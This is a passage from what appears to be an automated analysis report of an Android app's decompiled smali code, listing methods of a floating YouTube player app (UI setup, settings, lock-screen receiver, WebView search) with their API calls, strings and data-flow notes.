51invoke-virtual {v1, v2, v3, v0}, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
53iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
54iget v1, v0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->d:I
55add-int/lit8 v1, v1, 0x1
56iput v1, v0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->d:I
57try_end_49: return-void
58catch_4a: move-exception v0
59goto/16 :goto_49
APIs
  • android.view.View.findViewById
  • android.database.Cursor.getColumnIndexOrThrow
  • android.database.Cursor.getString
  • android.widget.TextView.setText
  • android.widget.TextView.setOnClickListener
  • android.widget.ImageView.setOnClickListener
Strings
  • suggestion
Position Instruction Meta Information
0.prologue
1const v0, 0x7f0f00ef
3invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131689711
4move-result-object v0
5check-cast v0, Landroid/widget/TextView;
6const v1, 0x7f0f00f0
8invoke-virtual {p1, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131689712
9move-result-object v1
10check-cast v1, Landroid/widget/ImageView;
12const-string v2, "suggestion"
14invoke-interface {p3, v2}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: suggestion
15move-result v2
17invoke-interface {p3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
18move-result-object v2
20invoke-virtual {v0, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
21new-instance v2, Lcom/pedqaesf/app/INSMainActivity$3$1$1;
23invoke-direct {v2, p0, v0}, Lcom/pedqaesf/app/INSMainActivity$3$1$1;-><init>(Lcom/pedqaesf/app/INSMainActivity$3$1;Landroid/widget/TextView;)V
25invoke-virtual {v0, v2}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
26new-instance v2, Lcom/pedqaesf/app/INSMainActivity$3$1$2;
28invoke-direct {v2, p0, v0}, Lcom/pedqaesf/app/INSMainActivity$3$1$2;-><init>(Lcom/pedqaesf/app/INSMainActivity$3$1;Landroid/widget/TextView;)V
30invoke-virtual {v1, v2}, Landroid/widget/ImageView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
31return-void
APIs
  • com.pedqaesf.app.player.INSYouTubePlayerService.getApplicationContext
  • android.app.Service.onCreate
  • android.content.IntentFilter.<init>
  • android.content.IntentFilter.addAction
  • com.pedqaesf.app.INSLockScreenReceiver.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.registerReceiver
Strings
  • android.intent.action.SCREEN_ON
  • android.intent.action.SCREEN_OFF
Position Instruction Meta Information
0.annotation build Landroid/annotation/TargetApi;
1value = 0x11
2.end annotation
3.prologue
5invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getApplicationContext()Landroid/content/Context;
6move-result-object v0
7sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a:Landroid/content/Context;
9invoke-super {p0}, Landroid/app/Service;->onCreate()V
10new-instance v0, Landroid/content/IntentFilter;
12const-string v1, "android.intent.action.SCREEN_ON"
14invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.SCREEN_ON
16const-string v1, "android.intent.action.SCREEN_OFF"
18invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: android.intent.action.SCREEN_OFF
19new-instance v1, Lcom/pedqaesf/app/INSLockScreenReceiver;
21invoke-direct {v1}, Lcom/pedqaesf/app/INSLockScreenReceiver;-><init>()V
22sput-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->F:Landroid/content/BroadcastReceiver;
23try_start_1c:
24sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->F:Landroid/content/BroadcastReceiver;
26invoke-virtual {p0, v1, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
27try_end_21: const/4 v0, 0x1
28sput-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->C:Z
29return-void
30catch_25: move-exception v0
31goto/16 :goto_21
Cross References
APIs
  • android.graphics.drawable.StateListDrawable.<init>
  • android.support.v7.b.a.b.b
  • android.graphics.drawable.GradientDrawable.getConstantState
  • android.graphics.drawable.Drawable$ConstantState.newDrawable
  • android.graphics.drawable.Drawable.mutate
  • android.graphics.drawable.GradientDrawable.setCornerRadius
  • android.graphics.drawable.StateListDrawable.addState
Position Instruction Meta Information
0.prologue
1new-instance v2, Landroid/graphics/drawable/StateListDrawable;
3invoke-direct {v2}, Landroid/graphics/drawable/StateListDrawable;-><init>()V
5iget-object v0, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
7invoke-virtual {v0}, Lcom/mikepenz/materialdrawer/a/a;->a()I
8move-result v0
10invoke-static {p1, v0}, Landroid/support/v7/b/a/b;->b(Landroid/content/Context;I)Landroid/graphics/drawable/Drawable;
11move-result-object v0
12check-cast v0, Landroid/graphics/drawable/GradientDrawable;
14invoke-virtual {v0}, Landroid/graphics/drawable/GradientDrawable;->getConstantState()Landroid/graphics/drawable/Drawable$ConstantState;
15move-result-object v1
17invoke-virtual {v1}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable()Landroid/graphics/drawable/Drawable;
18move-result-object v1
20invoke-virtual {v1}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
21move-result-object v1
22check-cast v1, Landroid/graphics/drawable/GradientDrawable;
24iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
26invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->b()Lcom/mikepenz/materialdrawer/a/b;
27move-result-object v3
29invoke-static {v3, p1, v0}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;Landroid/graphics/drawable/GradientDrawable;)V
31iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
33invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->c()Lcom/mikepenz/materialdrawer/a/b;
34move-result-object v3
35if-nez v3, :cond_6f
37iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
39invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->b()Lcom/mikepenz/materialdrawer/a/b;
40move-result-object v3
42invoke-static {v3, p1, v1}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;Landroid/graphics/drawable/GradientDrawable;)V
43goto_39:
44iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
46invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->d()Lcom/mikepenz/materialdrawer/a/c;
47move-result-object v3
48if-eqz v3, :cond_5d
50iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
52invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->d()Lcom/mikepenz/materialdrawer/a/c;
53move-result-object v3
55invoke-virtual {v3, p1}, Lcom/mikepenz/materialdrawer/a/c;->a(Landroid/content/Context;)I
56move-result v3
57int-to-float v3, v3
59invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setCornerRadius(F)V
61iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
63invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->d()Lcom/mikepenz/materialdrawer/a/c;
64move-result-object v3
66invoke-virtual {v3, p1}, Lcom/mikepenz/materialdrawer/a/c;->a(Landroid/content/Context;)I
67move-result v3
68int-to-float v3, v3
70invoke-virtual {v1, v3}, Landroid/graphics/drawable/GradientDrawable;->setCornerRadius(F)V
71cond_5d: const/4 v3, 0x1
72new-array v3, v3, [I
73const/4 v4, 0x0
74const v5, 0x10100a7
75aput v5, v3, v4
77invoke-virtual {v2, v3, v1}, Landroid/graphics/drawable/StateListDrawable;->addState([ILandroid/graphics/drawable/Drawable;)V
79sget-object v1, Landroid/util/StateSet;->WILD_CARD:[I
81invoke-virtual {v2, v1, v0}, Landroid/graphics/drawable/StateListDrawable;->addState([ILandroid/graphics/drawable/Drawable;)V
82return-object v2
83cond_6f:
84iget-object v3, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
86invoke-virtual {v3}, Lcom/mikepenz/materialdrawer/a/a;->c()Lcom/mikepenz/materialdrawer/a/b;
87move-result-object v3
89invoke-static {v3, p1, v1}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/content/Context;Landroid/graphics/drawable/GradientDrawable;)V
90goto/16 :goto_39
Cross References
APIs
  • com.pedqaesf.app.INSSettingsActivity.findViewById
Position Instruction Meta Information
0.prologue
1const v0, 0x7f0f009b
3invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689627
4move-result-object v0
5check-cast v0, Landroid/widget/TextView;
6iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->u:Landroid/widget/TextView;
7const v0, 0x7f0f0092
9invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689618
10move-result-object v0
11check-cast v0, Landroid/support/design/widget/CoordinatorLayout;
12iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->t:Landroid/support/design/widget/CoordinatorLayout;
13const v0, 0x7f0f009a
15invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689626
16move-result-object v0
17check-cast v0, Landroid/widget/LinearLayout;
18iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->m:Landroid/widget/LinearLayout;
19const v0, 0x7f0f009c
21invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689628
22move-result-object v0
23check-cast v0, Landroid/widget/LinearLayout;
24iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->n:Landroid/widget/LinearLayout;
25const v0, 0x7f0f009f
27invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689631
28move-result-object v0
29check-cast v0, Landroid/widget/LinearLayout;
30iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->o:Landroid/widget/LinearLayout;
31const v0, 0x7f0f0099
33invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689625
34move-result-object v0
35check-cast v0, Landroid/widget/Button;
36iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->p:Landroid/widget/Button;
37const v0, 0x7f0f0098
39invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689624
40move-result-object v0
41check-cast v0, Landroid/widget/Button;
42iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->q:Landroid/widget/Button;
43const v0, 0x7f0f009d
45invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689629
46move-result-object v0
47check-cast v0, Landroid/widget/CheckBox;
48iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->r:Landroid/widget/CheckBox;
49const v0, 0x7f0f009e
51invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689630
52move-result-object v0
53check-cast v0, Landroid/widget/CheckBox;
54iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->s:Landroid/widget/CheckBox;
55return-void
APIs
  • com.pedqaesf.app.views.INSCircularImageView.getWidth
  • com.pedqaesf.app.views.INSCircularImageView.getHeight
  • android.graphics.Canvas.drawCircle
  • com.pedqaesf.app.views.INSCircularImageView.getWidth
  • com.pedqaesf.app.views.INSCircularImageView.getHeight
  • android.graphics.Canvas.drawCircle
  • com.pedqaesf.app.views.INSCircularImageView.getWidth
  • com.pedqaesf.app.views.INSCircularImageView.getHeight
  • android.graphics.Canvas.drawCircle
Position Instruction Meta Information
0.prologue
1const/high16 v4, 0x40000000 # 2.0f
3iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
4if-nez v0, :cond_7
5goto_6: return-void
6cond_7: iget v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
7if-eqz v0, :cond_1e
9invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getWidth()I
10move-result v0
11int-to-float v0, v0
12div-float/2addr v0, v4
14invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getHeight()I
15move-result v1
16int-to-float v1, v1
17div-float/2addr v1, v4
18iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->p:F
20iget-object v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
22invoke-virtual {p1, v0, v1, v2, v3}, Landroid/graphics/Canvas;->drawCircle(FFFLandroid/graphics/Paint;)V
23cond_1e:
24invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getWidth()I
25move-result v0
26int-to-float v0, v0
27div-float/2addr v0, v4
29invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getHeight()I
30move-result v1
31int-to-float v1, v1
32div-float/2addr v1, v4
33iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->p:F
35iget-object v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->f:Landroid/graphics/Paint;
37invoke-virtual {p1, v0, v1, v2, v3}, Landroid/graphics/Canvas;->drawCircle(FFFLandroid/graphics/Paint;)V
38iget v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
39if-eqz v0, :cond_6
41invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getWidth()I
42move-result v0
43int-to-float v0, v0
44div-float/2addr v0, v4
46invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getHeight()I
47move-result v1
48int-to-float v1, v1
49div-float/2addr v1, v4
50iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->q:F
52iget-object v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
54invoke-virtual {p1, v0, v1, v2, v3}, Landroid/graphics/Canvas;->drawCircle(FFFLandroid/graphics/Paint;)V
55goto/16 :goto_6
Cross References
APIs
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
Position Instruction Meta Information
0.prologue
1sget v0, Lcom/pedqaesf/app/b;->c:I
2if-nez v0, :cond_15
4iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ad:Landroid/widget/ImageView;
6invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
7move-result-object v1
8const v2, 0x7f02006d
10invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837613
11move-result-object v1
13invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
14cond_14: return-void
15cond_15: sget v0, Lcom/pedqaesf/app/b;->c:I
16const/4 v1, 0x1
17if-ne v0, v1, :cond_2b
19iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ad:Landroid/widget/ImageView;
21invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
22move-result-object v1
23const v2, 0x7f02006c
25invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837612
26move-result-object v1
28invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
29goto/16 :goto_14
30cond_2b: sget v0, Lcom/pedqaesf/app/b;->c:I
31const/4 v1, 0x2
32if-ne v0, v1, :cond_14
34iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ad:Landroid/widget/ImageView;
36invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
37move-result-object v1
38const v2, 0x7f02006e
40invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837614
41move-result-object v1
43invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
44goto/16 :goto_14
Cross References
APIs
  • java.util.List.size
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.a.c.c
  • com.mikepenz.a.b.h
  • java.util.List.addAll
  • com.mikepenz.a.a.c.a
  • com.mikepenz.a.a.c.b
  • java.util.List.size
  • com.mikepenz.a.b.d
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I",
3"Ljava/util/List",
4"<TItem;>;)",
5"Lcom/mikepenz/a/a/c",
6"<TItem;>;"
7}
8.end annotation
9.prologue
10iget-boolean v0, p0, Lcom/mikepenz/a/a/c;->d:Z
11if-eqz v0, :cond_7
13invoke-static {p2}, Lcom/mikepenz/a/d/b;->a(Ljava/util/List;)Ljava/util/List;
14cond_7: if-eqz p2, :cond_30
16invoke-interface {p2}, Ljava/util/List;->size()I
17move-result v0
18if-lez v0, :cond_30
20iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
22invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
23move-result-object v1
25invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->c()I
26move-result v2
28invoke-virtual {v1, v2}, Lcom/mikepenz/a/b;->h(I)I
29move-result v1
30sub-int v1, p1, v1
32invoke-interface {v0, v1, p2}, Ljava/util/List;->addAll(ILjava/util/Collection;)Z
34invoke-virtual {p0, p2}, Lcom/mikepenz/a/a/c;->a(Ljava/lang/Iterable;)V
36invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
37move-result-object v0
39invoke-interface {p2}, Ljava/util/List;->size()I
40move-result v1
42invoke-virtual {v0, p1, v1}, Lcom/mikepenz/a/b;->d(II)V
43cond_30: return-object p0
APIs
  • android.widget.LinearLayout.getViewTreeObserver
  • android.view.ViewTreeObserver.removeGlobalOnLayoutListener
  • android.widget.LinearLayout.getMeasuredHeight
  • java.lang.String.valueOf
  • android.util.Log.d
  • android.view.WindowManager.updateViewLayout
Strings
  • ChatHead Size
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
4invoke-virtual {v0}, Landroid/widget/LinearLayout;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
5move-result-object v0
7invoke-virtual {v0, p0}, Landroid/view/ViewTreeObserver;->removeGlobalOnLayoutListener(Landroid/view/ViewTreeObserver$OnGlobalLayoutListener;)V
9iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
11sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
13invoke-virtual {v1}, Landroid/widget/LinearLayout;->getMeasuredHeight()I
14move-result v1
15iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
17const-string v0, "ChatHead Size"
19iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
20iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
22invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
23move-result-object v1
25invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ChatHead Size
27iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
29iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
31iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
32iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
33iput v1, v0, Landroid/view/WindowManager$LayoutParams;->y:I
35iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
37iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
38iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
39neg-int v1, v1
40div-int/lit8 v1, v1, 0x4
41iput v1, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->V:I
43sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
45sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
47iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
49iget-object v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
51invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
52return-void
APIs
  • android.content.SharedPreferences.edit
  • com.pedqaesf.app.INSSettingsActivity.getString
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.commit
  • android.widget.TextView.setText
  • android.util.Log.d
Strings
  • New Quality
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->a:[I
4aget v0, v0, v3
5sput v0, Lcom/pedqaesf/app/b;->e:I
7iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->b:Lcom/pedqaesf/app/INSSettingsActivity;
9iget-object v0, v0, Lcom/pedqaesf/app/INSSettingsActivity;->v:Landroid/content/SharedPreferences;
11invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
12move-result-object v0
14iget-object v1, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->b:Lcom/pedqaesf/app/INSSettingsActivity;
15const v2, 0x7f080424
17invoke-virtual {v1, v2}, Lcom/pedqaesf/app/INSSettingsActivity;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231780
18move-result-object v1
20iget-object v2, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->a:[I
21aget v2, v2, v3
23invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
25invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
27iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity$2;->b:Lcom/pedqaesf/app/INSSettingsActivity;
29iget-object v0, v0, Lcom/pedqaesf/app/INSSettingsActivity;->u:Landroid/widget/TextView;
31invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
32move-result-object v1
34invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
36const-string v0, "New Quality"
38invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
39move-result-object v1
41invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: New Quality
42return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.webkit.WebView.loadUrl
  • android.support.v7.widget.SearchView.clearFocus
Strings
  • http://m.youtube.com/results?q=
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
3new-instance v1, Ljava/lang/StringBuilder;
5invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
7const-string v2, "http://m.youtube.com/results?q="
9invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: http://m.youtube.com/results?q=
10move-result-object v1
12invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v1
15invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
16move-result-object v1
18invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
20iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
22invoke-virtual {v0}, Landroid/support/v7/widget/SearchView;->clearFocus()V
23const/4 v0, 0x1
24return v0
APIs
  • android.view.MenuItem.getItemId
  • android.util.Log.d
  • android.content.Intent.<init>
  • com.pedqaesf.app.INSMainActivity.startActivity
  • android.support.v7.app.AppCompatActivity.onOptionsItemSelected
Strings
  • Settings
  • Act
Position Instruction Meta Information
0.prologue
2invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
3move-result v0
4const v1, 0x7f0f00fa
5if-ne v0, v1, :cond_1c
7const-string v0, "Settings"
9const-string v1, "Act"
11invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Settings
    • msg: Act
12new-instance v0, Landroid/content/Intent;
13const-class v1, Lcom/pedqaesf/app/INSSettingsActivity;
15invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
17invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->startActivity(Landroid/content/Intent;)V
18const/4 v0, 0x1
19goto_1b: return v0
20cond_1c:
21invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
22move-result v0
23goto/16 :goto_1b
Cross References
APIs
  • android.util.Log.i
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopForeground
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopSelf
  • android.content.Intent.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopService
Strings
  • Trying To Destroy
  • ...
Position Instruction Meta Information
0.prologue
2const-string v0, "Trying To Destroy "
4const-string v1, "..."
6invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Trying To Destroy
    • msg: ...
7const/4 v0, 0x1
9invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopForeground(Z)V
  • Data flow analysis:
    • removeNotification: 1
11invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopSelf()V
12new-instance v0, Landroid/content/Intent;
14sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a:Landroid/content/Context;
15const-class v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
17invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
19invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopService(Landroid/content/Intent;)Z
20return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • javascript:player.loadVideoById(\"
  • \");
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
5const-string v1, "javascript:player.loadVideoById(\""
7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
